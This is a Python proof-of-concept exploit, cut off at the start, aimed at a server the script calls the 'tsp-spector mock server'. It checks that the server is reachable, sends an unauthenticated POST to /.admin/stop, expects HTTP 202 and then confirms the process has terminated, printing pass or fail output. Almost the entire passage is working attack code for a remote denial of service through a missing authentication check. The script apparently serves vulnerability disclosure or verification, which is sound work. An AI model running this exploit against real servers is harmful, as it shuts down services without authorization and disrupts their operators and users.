Details
with socket.create_connection((host, port), timeout=timeout):
return True
except (ConnectionRefusedError, socket.timeout, OSError):
return False
def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
"""Poll until the server is reachable or max_wait seconds elapse."""
print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
if is_port_open(host, port):
print(f"[+] Server is reachable at {host}:{port}")
return True
time.sleep(0.5)
return False
def send_unauthenticated_stop(host: str, port: int) -> int:
"""
Send POST /.admin/stop with no credentials and return the HTTP status code.
This is the exploit request. No Authorization header, no token, no
special Origin — the server accepts it as-is.
"""
url = f"http://{host}:{port}/.admin/stop"
print(f"[*] Sending unauthenticated POST to {url}")
print(f"[*] Request headers: (none beyond Host and Content-Length:0)")
req = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
print(f"[+] HTTP response: {code} {resp.reason}")
return code
except urllib.error.HTTPError as exc:
print(f"[+] HTTP error response: {exc.code} {exc.reason}")
return exc.code
except urllib.error.URLError as exc:
# Connection closed before response (process.exit race) still counts
print(f"[+] Connection dropped during response: {exc.reason}")
return 202 # server accepted and exited before full response
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
args = parser.parse_args()
print(BANNER)
# Step 1 — Confirm the server is running before the attack
if not wait_for_server(args.host, args.port):
print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
print(FAIL_MSG)
sys.exit(1)
print()
print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")
# Step 2 — Send the exploit (single unauthenticated POST)
print()
print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
status = send_unauthenticated_stop(args.host, args.port)
if status != 202:
print(f"[-] Expected HTTP 202 Accepted, got {status}")
print(FAIL_MSG)
sys.exit(1)
print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")
# Step 3 — Verify the process actually exited
print()
print("[STEP 3] Verifying server has terminated ...")
time.sleep(2)
if is_port_open(args.host, args.port):
print("[-] Server is still accepting connections (exploit did not terminate process)")
print(FAIL_MSG)
sys.exit(1)
print("[+] Connection refused — server process has exited")
# All three steps passed → exploit confirmed
print(PASS_MSG)
sys.exit(0)
if __name__ == "__main__":
main()